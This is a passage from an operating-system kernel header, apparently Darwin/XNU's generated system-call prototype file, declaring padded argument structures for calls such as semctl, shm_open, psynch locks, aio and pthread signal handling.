a3_l_[PADL_(int)]; int a3; char a3_r_[PADR_(int)]; 899 | char a4_l_[PADL_(int)]; int a4; char a4_r_[PADR_(int)]; 900 | }; 901 | #else 902 | #endif 903 | #if SYSV_SEM 904 | struct semctl_args { 905 | char semid_l_[PADL_(int)]; int semid; char semid_r_[PADR_(int)]; 906 | char semnum_l_[PADL_(int)]; int semnum; char semnum_r_[PADR_(int)]; 907 | char cmd_l_[PADL_(int)]; int cmd; char cmd_r_[PADR_(int)]; 908 | char arg_l_[PADL_(user_addr_t)]; user_addr_t arg; char arg_r_[PADR_(user_addr_t)]; 909 | }; 910 | struct semget_args { 911 | char key_l_[PADL_(key_t)]; key_t key; char key_r_[PADR_(key_t)]; 912 | char nsems_l_[PADL_(int)]; int nsems; char nsems_r_[PADR_(int)]; 913 | char semflg_l_[PADL_(int)]; int semflg; char semflg_r_[PADR_(int)]; 914 | }; 915 | struct semop_args { 916 | char semid_l_[PADL_(int)]; int semid; char semid_r_[PADR_(int)]; 917 | char sops_l_[PADL_(user_addr_t)]; user_addr_t sops; char sops_r_[PADR_(user_addr_t)]; 918 | char nsops_l_[PADL_(int)]; int nsops; char nsops_r_[PADR_(int)]; 919 | }; 920 | #else 921 | #endif 922 | #if SYSV_MSG 923 | struct msgctl_args { 924 | char msqid_l_[PADL_(int)]; int msqid; char msqid_r_[PADR_(int)]; 925 | char cmd_l_[PADL_(int)]; int cmd; char cmd_r_[PADR_(int)]; 926 | char buf_l_[PADL_(user_addr_t)]; user_addr_t buf; char buf_r_[PADR_(user_addr_t)]; 927 | }; 928 | struct msgget_args { 929 | char key_l_[PADL_(key_t)]; key_t key; char key_r_[PADR_(key_t)]; 930 | char msgflg_l_[PADL_(int)]; int msgflg; char msgflg_r_[PADR_(int)]; 931 | }; 932 | struct msgsnd_args { 933 | char msqid_l_[PADL_(int)]; int msqid; char msqid_r_[PADR_(int)]; 934 | char msgp_l_[PADL_(user_addr_t)]; user_addr_t msgp; char msgp_r_[PADR_(user_addr_t)]; 935 | char msgsz_l_[PADL_(user_size_t)]; user_size_t msgsz; char msgsz_r_[PADR_(user_size_t)]; 936 | char msgflg_l_[PADL_(int)]; int msgflg; char msgflg_r_[PADR_(int)]; 937 | }; 938 | struct msgrcv_args { 939 | char msqid_l_[PADL_(int)]; int msqid; char msqid_r_[PADR_(int)]; 940 | char msgp_l_[PADL_(user_addr_t)]; user_addr_t msgp; char msgp_r_[PADR_(user_addr_t)]; 941 | char msgsz_l_[PADL_(user_size_t)]; user_size_t msgsz; char msgsz_r_[PADR_(user_size_t)]; 942 | char msgtyp_l_[PADL_(user_long_t)]; user_long_t msgtyp; char msgtyp_r_[PADR_(user_long_t)]; 943 | char msgflg_l_[PADL_(int)]; int msgflg; char msgflg_r_[PADR_(int)]; 944 | }; 945 | #else 946 | #endif 947 | #if SYSV_SHM 948 | struct shmat_args { 949 | char shmid_l_[PADL_(int)]; int shmid; char shmid_r_[PADR_(int)]; 950 | char shmaddr_l_[PADL_(user_addr_t)]; user_addr_t shmaddr; char shmaddr_r_[PADR_(user_addr_t)]; 951 | char shmflg_l_[PADL_(int)]; int shmflg; char shmflg_r_[PADR_(int)]; 952 | }; 953 | struct shmctl_args { 954 | char shmid_l_[PADL_(int)]; int shmid; char shmid_r_[PADR_(int)]; 955 | char cmd_l_[PADL_(int)]; int cmd; char cmd_r_[PADR_(int)]; 956 | char buf_l_[PADL_(user_addr_t)]; user_addr_t buf; char buf_r_[PADR_(user_addr_t)]; 957 | }; 958 | struct shmdt_args { 959 | char shmaddr_l_[PADL_(user_addr_t)]; user_addr_t shmaddr; char shmaddr_r_[PADR_(user_addr_t)]; 960 | }; 961 | struct shmget_args { 962 | char key_l_[PADL_(key_t)]; key_t key; char key_r_[PADR_(key_t)]; 963 | char size_l_[PADL_(user_size_t)]; user_size_t size; char size_r_[PADR_(user_size_t)]; 964 | char shmflg_l_[PADL_(int)]; int shmflg; char shmflg_r_[PADR_(int)]; 965 | }; 966 | #else 967 | #endif 968 | struct shm_open_args { 969 | char name_l_[PADL_(user_addr_t)]; user_addr_t name; char name_r_[PADR_(user_addr_t)]; 970 | char oflag_l_[PADL_(int)]; int oflag; char oflag_r_[PADR_(int)]; 971 | char mode_l_[PADL_(int)]; int mode; char mode_r_[PADR_(int)]; 972 | }; 973 | struct shm_unlink_args { 974 | char name_l_[PADL_(user_addr_t)]; user_addr_t name; char name_r_[PADR_(user_addr_t)]; 975 | }; 976 | struct sem_open_args { 977 | char name_l_[PADL_(user_addr_t)]; user_addr_t name; char name_r_[PADR_(user_addr_t)]; 978 | char oflag_l_[PADL_(int)]; int oflag; char oflag_r_[PADR_(int)]; 979 | char mode_l_[PADL_(int)]; int mode; char mode_r_[PADR_(int)]; 980 | char value_l_[PADL_(int)]; int value; char value_r_[PADR_(int)]; 981 | }; 982 | struct sem_close_args { 983 | char sem_l_[PADL_(user_addr_t)]; user_addr_t sem; char sem_r_[PADR_(user_addr_t)]; 984 | }; 985 | struct sem_unlink_args { 986 | char name_l_[PADL_(user_addr_t)]; user_addr_t name; char name_r_[PADR_(user_addr_t)]; 987 | }; 988 | struct sem_wait_args { 989 | char sem_l_[PADL_(user_addr_t)]; user_addr_t sem; char sem_r_[PADR_(user_addr_t)]; 990 | }; 991 | struct sem_trywait_args { 992 | char sem_l_[PADL_(user_addr_t)]; user_addr_t sem; char sem_r_[PADR_(user_addr_t)]; 993 | }; 994 | struct sem_post_args { 995 | char sem_l_[PADL_(user_addr_t)]; user_addr_t sem; char sem_r_[PADR_(user_addr_t)]; 996 | }; 997 | struct sysctlbyname_args { 998 | char name_l_[PADL_(user_addr_t)]; user_addr_t name; char name_r_[PADR_(user_addr_t)]; 999 | char namelen_l_[PADL_(user_size_t)]; user_size_t namelen; char namelen_r_[PADR_(user_size_t)]; 1000 | char old_l_[PADL_(user_addr_t)]; user_addr_t old; char old_r_[PADR_(user_addr_t)]; 1001 | char oldlenp_l_[PADL_(user_addr_t)]; user_addr_t oldlenp; char oldlenp_r_[PADR_(user_addr_t)]; 1002 | char new_l_[PADL_(user_addr_t)]; user_addr_t new; char new_r_[PADR_(user_addr_t)]; 1003 | char newlen_l_[PADL_(user_size_t)]; user_size_t newlen; char newlen_r_[PADR_(user_size_t)]; 1004 | }; 1005 | struct open_extended_args { 1006 | char path_l_[PADL_(user_addr_t)]; user_addr_t path; char path_r_[PADR_(user_addr_t)]; 1007 | char flags_l_[PADL_(int)]; int flags; char flags_r_[PADR_(int)]; 1008 | char uid_l_[PADL_(uid_t)]; uid_t uid; char uid_r_[PADR_(uid_t)]; 1009 | char gid_l_[PADL_(gid_t)]; gid_t gid; char gid_r_[PADR_(gid_t)]; 1010 | char mode_l_[PADL_(int)]; int mode; char mode_r_[PADR_(int)]; 1011 | char xsecurity_l_[PADL_(user_addr_t)]; user_addr_t xsecurity; char xsecurity_r_[PADR_(user_addr_t)]; 1012 | }; 1013 | struct umask_extended_args { 1014 | char newmask_l_[PADL_(int)]; int newmask; char newmask_r_[PADR_(int)]; 1015 | char xsecurity_l_[PADL_(user_addr_t)]; user_addr_t xsecurity; char xsecurity_r_[PADR_(user_addr_t)]; 1016 | }; 1017 | struct stat_extended_args { 1018 | char path_l_[PADL_(user_addr_t)]; user_addr_t path; char path_r_[PADR_(user_addr_t)]; 1019 | char ub_l_[PADL_(user_addr_t)]; user_addr_t ub; char ub_r_[PADR_(user_addr_t)]; 1020 | char xsecurity_l_[PADL_(user_addr_t)]; user_addr_t xsecurity; char xsecurity_r_[PADR_(user_addr_t)]; 1021 | char xsecurity_size_l_[PADL_(user_addr_t)]; user_addr_t xsecurity_size; char xsecurity_size_r_[PADR_(user_addr_t)]; 1022 | }; 1023 | struct lstat_extended_args { 1024 | char path_l_[PADL_(user_addr_t)]; user_addr_t path; char path_r_[PADR_(user_addr_t)]; 1025 | char ub_l_[PADL_(user_addr_t)]; user_addr_t ub; char ub_r_[PADR_(user_addr_t)]; 1026 | char xsecurity_l_[PADL_(user_addr_t)]; user_addr_t xsecurity; char xsecurity_r_[PADR_(user_addr_t)]; 1027 | char xsecurity_size_l_[PADL_(user_addr_t)]; user_addr_t xsecurity_size; char xsecurity_size_r_[PADR_(user_addr_t)]; 1028 | }; 1029 | struct fstat_extended_args { 1030 | char fd_l_[PADL_(int)]; int fd; char fd_r_[PADR_(int)]; 1031 | char ub_l_[PADL_(user_addr_t)]; user_addr_t ub; char ub_r_[PADR_(user_addr_t)]; 1032 | char xsecurity_l_[PADL_(user_addr_t)]; user_addr_t xsecurity; char xsecurity_r_[PADR_(user_addr_t)]; 1033 | char xsecurity_size_l_[PADL_(user_addr_t)]; user_addr_t xsecurity_size; char xsecurity_size_r_[PADR_(user_addr_t)]; 1034 | }; 1035 | struct chmod_extended_args { 1036 | char path_l_[PADL_(user_addr_t)]; user_addr_t path; char path_r_[PADR_(user_addr_t)]; 1037 | char uid_l_[PADL_(uid_t)]; uid_t uid; char uid_r_[PADR_(uid_t)]; 1038 | char gid_l_[PADL_(gid_t)]; gid_t gid; char gid_r_[PADR_(gid_t)]; 1039 | char mode_l_[PADL_(int)]; int mode; char mode_r_[PADR_(int)]; 1040 | char xsecurity_l_[PADL_(user_addr_t)]; user_addr_t xsecurity; char xsecurity_r_[PADR_(user_addr_t)]; 1041 | }; 1042 | struct fchmod_extended_args { 1043 | char fd_l_[PADL_(int)]; int fd; char fd_r_[PADR_(int)]; 1044 | char uid_l_[PADL_(uid_t)]; uid_t uid; char uid_r_[PADR_(uid_t)]; 1045 | char gid_l_[PADL_(gid_t)]; gid_t gid; char gid_r_[PADR_(gid_t)]; 1046 | char mode_l_[PADL_(int)]; int mode; char mode_r_[PADR_(int)]; 1047 | char xsecurity_l_[PADL_(user_addr_t)]; user_addr_t xsecurity; char xsecurity_r_[PADR_(user_addr_t)]; 1048 | }; 1049 | struct access_extended_args { 1050 | char entries_l_[PADL_(user_addr_t)]; user_addr_t entries; char entries_r_[PADR_(user_addr_t)]; 1051 | char size_l_[PADL_(user_size_t)]; user_size_t size; char size_r_[PADR_(user_size_t)]; 1052 | char results_l_[PADL_(user_addr_t)]; user_addr_t results; char results_r_[PADR_(user_addr_t)]; 1053 | char uid_l_[PADL_(uid_t)]; uid_t uid; char uid_r_[PADR_(uid_t)]; 1054 | }; 1055 | struct settid_args { 1056 | char uid_l_[PADL_(uid_t)]; uid_t uid; char uid_r_[PADR_(uid_t)]; 1057 | char gid_l_[PADL_(gid_t)]; gid_t gid; char gid_r_[PADR_(gid_t)]; 1058 | }; 1059 | struct gettid_args { 1060 | char uidp_l_[PADL_(user_addr_t)]; user_addr_t uidp; char uidp_r_[PADR_(user_addr_t)]; 1061 | char gidp_l_[PADL_(user_addr_t)]; user_addr_t gidp; char gidp_r_[PADR_(user_addr_t)]; 1062 | }; 1063 | struct setsgroups_args { 1064 | char setlen_l_[PADL_(int)]; int setlen; char setlen_r_[PADR_(int)]; 1065 | char guidset_l_[PADL_(user_addr_t)]; user_addr_t guidset; char guidset_r_[PADR_(user_addr_t)]; 1066 | }; 1067 | struct getsgroups_args { 1068 | char setlen_l_[PADL_(user_addr_t)]; user_addr_t setlen; char setlen_r_[PADR_(user_addr_t)]; 1069 | char guidset_l_[PADL_(user_addr_t)]; user_addr_t guidset; char guidset_r_[PADR_(user_addr_t)]; 1070 | }; 1071 | struct setwgroups_args { 1072 | char setlen_l_[PADL_(int)]; int setlen; char setlen_r_[PADR_(int)]; 1073 | char guidset_l_[PADL_(user_addr_t)]; user_addr_t guidset; char guidset_r_[PADR_(user_addr_t)]; 1074 | }; 1075 | struct getwgroups_args { 1076 | char setlen_l_[PADL_(user_addr_t)]; user_addr_t setlen; char setlen_r_[PADR_(user_addr_t)]; 1077 | char guidset_l_[PADL_(user_addr_t)]; user_addr_t guidset; char guidset_r_[PADR_(user_addr_t)]; 1078 | }; 1079 | struct mkfifo_extended_args { 1080 | char path_l_[PADL_(user_addr_t)]; user_addr_t path; char path_r_[PADR_(user_addr_t)]; 1081 | char uid_l_[PADL_(uid_t)]; uid_t uid; char uid_r_[PADR_(uid_t)]; 1082 | char gid_l_[PADL_(gid_t)]; gid_t gid; char gid_r_[PADR_(gid_t)]; 1083 | char mode_l_[PADL_(int)]; int mode; char mode_r_[PADR_(int)]; 1084 | char xsecurity_l_[PADL_(user_addr_t)]; user_addr_t xsecurity; char xsecurity_r_[PADR_(user_addr_t)]; 1085 | }; 1086 | struct mkdir_extended_args { 1087 | char path_l_[PADL_(user_addr_t)]; user_addr_t path; char path_r_[PADR_(user_addr_t)]; 1088 | char uid_l_[PADL_(uid_t)]; uid_t uid; char uid_r_[PADR_(uid_t)]; 1089 | char gid_l_[PADL_(gid_t)]; gid_t gid; char gid_r_[PADR_(gid_t)]; 1090 | char mode_l_[PADL_(int)]; int mode; char mode_r_[PADR_(int)]; 1091 | char xsecurity_l_[PADL_(user_addr_t)]; user_addr_t xsecurity; char xsecurity_r_[PADR_(user_addr_t)]; 1092 | }; 1093 | #if CONFIG_EXT_RESOLVER 1094 | struct identitysvc_args { 1095 | char opcode_l_[PADL_(int)]; int opcode; char opcode_r_[PADR_(int)]; 1096 | char message_l_[PADL_(user_addr_t)]; user_addr_t message; char message_r_[PADR_(user_addr_t)]; 1097 | }; 1098 | #else 1099 | #endif 1100 | struct shared_region_check_np_args { 1101 | char start_address_l_[PADL_(user_addr_t)]; user_addr_t start_address; char start_address_r_[PADR_(user_addr_t)]; 1102 | }; 1103 | struct vm_pressure_monitor_args { 1104 | char wait_for_pressure_l_[PADL_(int)]; int wait_for_pressure; char wait_for_pressure_r_[PADR_(int)]; 1105 | char nsecs_monitored_l_[PADL_(int)]; int nsecs_monitored; char nsecs_monitored_r_[PADR_(int)]; 1106 | char pages_reclaimed_l_[PADL_(user_addr_t)]; user_addr_t pages_reclaimed; char pages_reclaimed_r_[PADR_(user_addr_t)]; 1107 | }; 1108 | #if PSYNCH 1109 | struct psynch_rw_longrdlock_args { 1110 | char rwlock_l_[PADL_(user_addr_t)]; user_addr_t rwlock; char rwlock_r_[PADR_(user_addr_t)]; 1111 | char lgenval_l_[PADL_(uint32_t)]; uint32_t lgenval; char lgenval_r_[PADR_(uint32_t)]; 1112 | char ugenval_l_[PADL_(uint32_t)]; uint32_t ugenval; char ugenval_r_[PADR_(uint32_t)]; 1113 | char rw_wc_l_[PADL_(uint32_t)]; uint32_t rw_wc; char rw_wc_r_[PADR_(uint32_t)]; 1114 | char flags_l_[PADL_(int)]; int flags; char flags_r_[PADR_(int)]; 1115 | }; 1116 | struct psynch_rw_yieldwrlock_args { 1117 | char rwlock_l_[PADL_(user_addr_t)]; user_addr_t rwlock; char rwlock_r_[PADR_(user_addr_t)]; 1118 | char lgenval_l_[PADL_(uint32_t)]; uint32_t lgenval; char lgenval_r_[PADR_(uint32_t)]; 1119 | char ugenval_l_[PADL_(uint32_t)]; uint32_t ugenval; char ugenval_r_[PADR_(uint32_t)]; 1120 | char rw_wc_l_[PADL_(uint32_t)]; uint32_t rw_wc; char rw_wc_r_[PADR_(uint32_t)]; 1121 | char flags_l_[PADL_(int)]; int flags; char flags_r_[PADR_(int)]; 1122 | }; 1123 | struct psynch_rw_downgrade_args { 1124 | char rwlock_l_[PADL_(user_addr_t)]; user_addr_t rwlock; char rwlock_r_[PADR_(user_addr_t)]; 1125 | char lgenval_l_[PADL_(uint32_t)]; uint32_t lgenval; char lgenval_r_[PADR_(uint32_t)]; 1126 | char ugenval_l_[PADL_(uint32_t)]; uint32_t ugenval; char ugenval_r_[PADR_(uint32_t)]; 1127 | char rw_wc_l_[PADL_(uint32_t)]; uint32_t rw_wc; char rw_wc_r_[PADR_(uint32_t)]; 1128 | char flags_l_[PADL_(int)]; int flags; char flags_r_[PADR_(int)]; 1129 | }; 1130 | struct psynch_rw_upgrade_args { 1131 | char rwlock_l_[PADL_(user_addr_t)]; user_addr_t rwlock; char rwlock_r_[PADR_(user_addr_t)]; 1132 | char lgenval_l_[PADL_(uint32_t)]; uint32_t lgenval; char lgenval_r_[PADR_(uint32_t)]; 1133 | char ugenval_l_[PADL_(uint32_t)]; uint32_t ugenval; char ugenval_r_[PADR_(uint32_t)]; 1134 | char rw_wc_l_[PADL_(uint32_t)]; uint32_t rw_wc; char rw_wc_r_[PADR_(uint32_t)]; 1135 | char flags_l_[PADL_(int)]; int flags; char flags_r_[PADR_(int)]; 1136 | }; 1137 | struct psynch_mutexwait_args { 1138 | char mutex_l_[PADL_(user_addr_t)]; user_addr_t mutex; char mutex_r_[PADR_(user_addr_t)]; 1139 | char mgen_l_[PADL_(uint32_t)]; uint32_t mgen; char mgen_r_[PADR_(uint32_t)]; 1140 | char ugen_l_[PADL_(uint32_t)]; uint32_t ugen; char ugen_r_[PADR_(uint32_t)]; 1141 | char tid_l_[PADL_(uint64_t)]; uint64_t tid; char tid_r_[PADR_(uint64_t)]; 1142 | char flags_l_[PADL_(uint32_t)]; uint32_t flags; char flags_r_[PADR_(uint32_t)]; 1143 | }; 1144 | struct psynch_mutexdrop_args { 1145 | char mutex_l_[PADL_(user_addr_t)]; user_addr_t mutex; char mutex_r_[PADR_(user_addr_t)]; 1146 | char mgen_l_[PADL_(uint32_t)]; uint32_t mgen; char mgen_r_[PADR_(uint32_t)]; 1147 | char ugen_l_[PADL_(uint32_t)]; uint32_t ugen; char ugen_r_[PADR_(uint32_t)]; 1148 | char tid_l_[PADL_(uint64_t)]; uint64_t tid; char tid_r_[PADR_(uint64_t)]; 1149 | char flags_l_[PADL_(uint32_t)]; uint32_t flags; char flags_r_[PADR_(uint32_t)]; 1150 | }; 1151 | struct psynch_cvbroad_args { 1152 | char cv_l_[PADL_(user_addr_t)]; user_addr_t cv; char cv_r_[PADR_(user_addr_t)]; 1153 | char cvlsgen_l_[PADL_(uint64_t)]; uint64_t cvlsgen; char cvlsgen_r_[PADR_(uint64_t)]; 1154 | char cvudgen_l_[PADL_(uint64_t)]; uint64_t cvudgen; char cvudgen_r_[PADR_(uint64_t)]; 1155 | char flags_l_[PADL_(uint32_t)]; uint32_t flags; char flags_r_[PADR_(uint32_t)]; 1156 | char mutex_l_[PADL_(user_addr_t)]; user_addr_t mutex; char mutex_r_[PADR_(user_addr_t)]; 1157 | char mugen_l_[PADL_(uint64_t)]; uint64_t mugen; char mugen_r_[PADR_(uint64_t)]; 1158 | char tid_l_[PADL_(uint64_t)]; uint64_t tid; char tid_r_[PADR_(uint64_t)]; 1159 | }; 1160 | struct psynch_cvsignal_args { 1161 | char cv_l_[PADL_(user_addr_t)]; user_addr_t cv; char cv_r_[PADR_(user_addr_t)]; 1162 | char cvlsgen_l_[PADL_(uint64_t)]; uint64_t cvlsgen; char cvlsgen_r_[PADR_(uint64_t)]; 1163 | char cvugen_l_[PADL_(uint32_t)]; uint32_t cvugen; char cvugen_r_[PADR_(uint32_t)]; 1164 | char thread_port_l_[PADL_(int)]; int thread_port; char thread_port_r_[PADR_(int)]; 1165 | char mutex_l_[PADL_(user_addr_t)]; user_addr_t mutex; char mutex_r_[PADR_(user_addr_t)]; 1166 | char mugen_l_[PADL_(uint64_t)]; uint64_t mugen; char mugen_r_[PADR_(uint64_t)]; 1167 | char tid_l_[PADL_(uint64_t)]; uint64_t tid; char tid_r_[PADR_(uint64_t)]; 1168 | char flags_l_[PADL_(uint32_t)]; uint32_t flags; char flags_r_[PADR_(uint32_t)]; 1169 | }; 1170 | struct psynch_cvwait_args { 1171 | char cv_l_[PADL_(user_addr_t)]; user_addr_t cv; char cv_r_[PADR_(user_addr_t)]; 1172 | char cvlsgen_l_[PADL_(uint64_t)]; uint64_t cvlsgen; char cvlsgen_r_[PADR_(uint64_t)]; 1173 | char cvugen_l_[PADL_(uint32_t)]; uint32_t cvugen; char cvugen_r_[PADR_(uint32_t)]; 1174 | char mutex_l_[PADL_(user_addr_t)]; user_addr_t mutex; char mutex_r_[PADR_(user_addr_t)]; 1175 | char mugen_l_[PADL_(uint64_t)]; uint64_t mugen; char mugen_r_[PADR_(uint64_t)]; 1176 | char flags_l_[PADL_(uint32_t)]; uint32_t flags; char flags_r_[PADR_(uint32_t)]; 1177 | char sec_l_[PADL_(int64_t)]; int64_t sec; char sec_r_[PADR_(int64_t)]; 1178 | char nsec_l_[PADL_(uint32_t)]; uint32_t nsec; char nsec_r_[PADR_(uint32_t)]; 1179 | }; 1180 | struct psynch_rw_rdlock_args { 1181 | char rwlock_l_[PADL_(user_addr_t)]; user_addr_t rwlock; char rwlock_r_[PADR_(user_addr_t)]; 1182 | char lgenval_l_[PADL_(uint32_t)]; uint32_t lgenval; char lgenval_r_[PADR_(uint32_t)]; 1183 | char ugenval_l_[PADL_(uint32_t)]; uint32_t ugenval; char ugenval_r_[PADR_(uint32_t)]; 1184 | char rw_wc_l_[PADL_(uint32_t)]; uint32_t rw_wc; char rw_wc_r_[PADR_(uint32_t)]; 1185 | char flags_l_[PADL_(int)]; int flags; char flags_r_[PADR_(int)]; 1186 | }; 1187 | struct psynch_rw_wrlock_args { 1188 | char rwlock_l_[PADL_(user_addr_t)]; user_addr_t rwlock; char rwlock_r_[PADR_(user_addr_t)]; 1189 | char lgenval_l_[PADL_(uint32_t)]; uint32_t lgenval; char lgenval_r_[PADR_(uint32_t)]; 1190 | char ugenval_l_[PADL_(uint32_t)]; uint32_t ugenval; char ugenval_r_[PADR_(uint32_t)]; 1191 | char rw_wc_l_[PADL_(uint32_t)]; uint32_t rw_wc; char rw_wc_r_[PADR_(uint32_t)]; 1192 | char flags_l_[PADL_(int)]; int flags; char flags_r_[PADR_(int)]; 1193 | }; 1194 | struct psynch_rw_unlock_args { 1195 | char rwlock_l_[PADL_(user_addr_t)]; user_addr_t rwlock; char rwlock_r_[PADR_(user_addr_t)]; 1196 | char lgenval_l_[PADL_(uint32_t)]; uint32_t lgenval; char lgenval_r_[PADR_(uint32_t)]; 1197 | char ugenval_l_[PADL_(uint32_t)]; uint32_t ugenval; char ugenval_r_[PADR_(uint32_t)]; 1198 | char rw_wc_l_[PADL_(uint32_t)]; uint32_t rw_wc; char rw_wc_r_[PADR_(uint32_t)]; 1199 | char flags_l_[PADL_(int)]; int flags; char flags_r_[PADR_(int)]; 1200 | }; 1201 | struct psynch_rw_unlock2_args { 1202 | char rwlock_l_[PADL_(user_addr_t)]; user_addr_t rwlock; char rwlock_r_[PADR_(user_addr_t)]; 1203 | char lgenval_l_[PADL_(uint32_t)]; uint32_t lgenval; char lgenval_r_[PADR_(uint32_t)]; 1204 | char ugenval_l_[PADL_(uint32_t)]; uint32_t ugenval; char ugenval_r_[PADR_(uint32_t)]; 1205 | char rw_wc_l_[PADL_(uint32_t)]; uint32_t rw_wc; char rw_wc_r_[PADR_(uint32_t)]; 1206 | char flags_l_[PADL_(int)]; int flags; char flags_r_[PADR_(int)]; 1207 | }; 1208 | #else 1209 | #endif 1210 | struct getsid_args { 1211 | char pid_l_[PADL_(pid_t)]; pid_t pid; char pid_r_[PADR_(pid_t)]; 1212 | }; 1213 | struct settid_with_pid_args { 1214 | char pid_l_[PADL_(pid_t)]; pid_t pid; char pid_r_[PADR_(pid_t)]; 1215 | char assume_l_[PADL_(int)]; int assume; char assume_r_[PADR_(int)]; 1216 | }; 1217 | #if PSYNCH 1218 | struct psynch_cvclrprepost_args { 1219 | char cv_l_[PADL_(user_addr_t)]; user_addr_t cv; char cv_r_[PADR_(user_addr_t)]; 1220 | char cvgen_l_[PADL_(uint32_t)]; uint32_t cvgen; char cvgen_r_[PADR_(uint32_t)]; 1221 | char cvugen_l_[PADL_(uint32_t)]; uint32_t cvugen; char cvugen_r_[PADR_(uint32_t)]; 1222 | char cvsgen_l_[PADL_(uint32_t)]; uint32_t cvsgen; char cvsgen_r_[PADR_(uint32_t)]; 1223 | char prepocnt_l_[PADL_(uint32_t)]; uint32_t prepocnt; char prepocnt_r_[PADR_(uint32_t)]; 1224 | char preposeq_l_[PADL_(uint32_t)]; uint32_t preposeq; char preposeq_r_[PADR_(uint32_t)]; 1225 | char flags_l_[PADL_(uint32_t)]; uint32_t flags; char flags_r_[PADR_(uint32_t)]; 1226 | }; 1227 | #else 1228 | #endif 1229 | struct aio_fsync_args { 1230 | char op_l_[PADL_(int)]; int op; char op_r_[PADR_(int)]; 1231 | char aiocbp_l_[PADL_(user_addr_t)]; user_addr_t aiocbp; char aiocbp_r_[PADR_(user_addr_t)]; 1232 | }; 1233 | struct aio_return_args { 1234 | char aiocbp_l_[PADL_(user_addr_t)]; user_addr_t aiocbp; char aiocbp_r_[PADR_(user_addr_t)]; 1235 | }; 1236 | struct aio_suspend_args { 1237 | char aiocblist_l_[PADL_(user_addr_t)]; user_addr_t aiocblist; char aiocblist_r_[PADR_(user_addr_t)]; 1238 | char nent_l_[PADL_(int)]; int nent; char nent_r_[PADR_(int)]; 1239 | char timeoutp_l_[PADL_(user_addr_t)]; user_addr_t timeoutp; char timeoutp_r_[PADR_(user_addr_t)]; 1240 | }; 1241 | struct aio_cancel_args { 1242 | char fd_l_[PADL_(int)]; int fd; char fd_r_[PADR_(int)]; 1243 | char aiocbp_l_[PADL_(user_addr_t)]; user_addr_t aiocbp; char aiocbp_r_[PADR_(user_addr_t)]; 1244 | }; 1245 | struct aio_error_args { 1246 | char aiocbp_l_[PADL_(user_addr_t)]; user_addr_t aiocbp; char aiocbp_r_[PADR_(user_addr_t)]; 1247 | }; 1248 | struct aio_read_args { 1249 | char aiocbp_l_[PADL_(user_addr_t)]; user_addr_t aiocbp; char aiocbp_r_[PADR_(user_addr_t)]; 1250 | }; 1251 | struct aio_write_args { 1252 | char aiocbp_l_[PADL_(user_addr_t)]; user_addr_t aiocbp; char aiocbp_r_[PADR_(user_addr_t)]; 1253 | }; 1254 | struct lio_listio_args { 1255 | char mode_l_[PADL_(int)]; int mode; char mode_r_[PADR_(int)]; 1256 | char aiocblist_l_[PADL_(user_addr_t)]; user_addr_t aiocblist; char aiocblist_r_[PADR_(user_addr_t)]; 1257 | char nent_l_[PADL_(int)]; int nent; char nent_r_[PADR_(int)]; 1258 | char sigp_l_[PADL_(user_addr_t)]; user_addr_t sigp; char sigp_r_[PADR_(user_addr_t)]; 1259 | }; 1260 | struct iopolicysys_args { 1261 | char cmd_l_[PADL_(int)]; int cmd; char cmd_r_[PADR_(int)]; 1262 | char arg_l_[PADL_(user_addr_t)]; user_addr_t arg; char arg_r_[PADR_(user_addr_t)]; 1263 | }; 1264 | struct process_policy_args { 1265 | char scope_l_[PADL_(int)]; int scope; char scope_r_[PADR_(int)]; 1266 | char action_l_[PADL_(int)]; int action; char action_r_[PADR_(int)]; 1267 | char policy_l_[PADL_(int)]; int policy; char policy_r_[PADR_(int)]; 1268 | char policy_subtype_l_[PADL_(int)]; int policy_subtype; char policy_subtype_r_[PADR_(int)]; 1269 | char attrp_l_[PADL_(user_addr_t)]; user_addr_t attrp; char attrp_r_[PADR_(user_addr_t)]; 1270 | char target_pid_l_[PADL_(pid_t)]; pid_t target_pid; char target_pid_r_[PADR_(pid_t)]; 1271 | char target_threadid_l_[PADL_(uint64_t)]; uint64_t target_threadid; char target_threadid_r_[PADR_(uint64_t)]; 1272 | }; 1273 | struct mlockall_args { 1274 | char how_l_[PADL_(int)]; int how; char how_r_[PADR_(int)]; 1275 | }; 1276 | struct munlockall_args { 1277 | char how_l_[PADL_(int)]; int how; char how_r_[PADR_(int)]; 1278 | }; 1279 | struct issetugid_args { 1280 | int32_t dummy; 1281 | }; 1282 | struct __pthread_kill_args { 1283 | char thread_port_l_[PADL_(int)]; int thread_port; char thread_port_r_[PADR_(int)]; 1284 | char sig_l_[PADL_(int)]; int sig; char sig_r_[PADR_(int)]; 1285 | }; 1286 | struct __pthread_sigmask_args { 1287 | char how_l_[PADL_(int)]; int how; char how_r_[PADR_(int)]; 1288 | char set_l_[PADL_(user_addr_t)]; user_addr_t set; char set_r_[PADR_(user_addr_t)]; 1289 | char oset_l_[PADL_(user_addr_t)]; user_addr_t oset; char oset_r_[PADR_(user_addr_t)]; 1290 | }; 1291 | struct __sigwait_args { 1292 | char set_l_[PADL_(user_addr_t)]; user_addr_t set; char set_r_[PADR_(user_addr_t)]; 1293 | char sig_l_[PADL_(user_addr_t)]; user_addr_t sig; char sig_r_[PADR_(user_addr_t)]; 1294 | }; 1295 | struct __disable_threadsignal_args { 1296 | char value_l_[PADL_(int)]; int value; char value_r_[PADR_(int)]; 1297 | }; 1298 | struct __pthread_markcancel_args { 1299 | char thread_port_l_[PADL_(int)]; int thread_port; char thread_port_r_[PADR_(int)]; 1300 | }; 1301 | struct __pthread_canceled_args { 1302 | char action_l_[PADL_(int)]; int action; char action_r_[PADR_(int)]; 1303 | }; 1304 | struct __semwait_signal_args { 1305 | char cond_sem_l_[PADL_(int)]; int cond_sem; char cond_sem_r_[PADR_(int)]; 1306 | char mutex_sem_l_[PADL_(int)]; int mutex_sem; char mutex_sem_r_[PADR_(int)]; 1307 | char timeout_l_[PADL_(int)]; int timeout; char timeout_r_[PADR_(int)]; 1308 | char relative_l_[PADL_(int)]; int relative; char relative_r_[PADR_(int)]; 1309 | char tv_sec_l_[PADL_(int64_t)]; int64_t tv_sec; char tv_sec_r_[PADR_(int64_t)]; 1310 | char tv_nsec_l_[PADL_(int32_t)]; int32_t tv_nsec; char tv_nsec_r_[PADR_(int32_t)]; 1311 | }; 1312 | struct proc_info_args { 1313 | char callnum_l_[PADL_(int32_t)]; int32_t callnum; char callnum_r_[PADR_(int32_t)]; 1314 | char pid_l_[PADL_(int32_t)]; int32_t pid; char pid_r_[PADR_(int32_t)]; 1315 | char flavor_l_[PADL_(uint32_t)]; uint32_t flavor; char flavor_r_[PADR_(uint32_t)]; 1316 | char arg_l_[PADL_(uint64_t)]; uint64_t arg; char 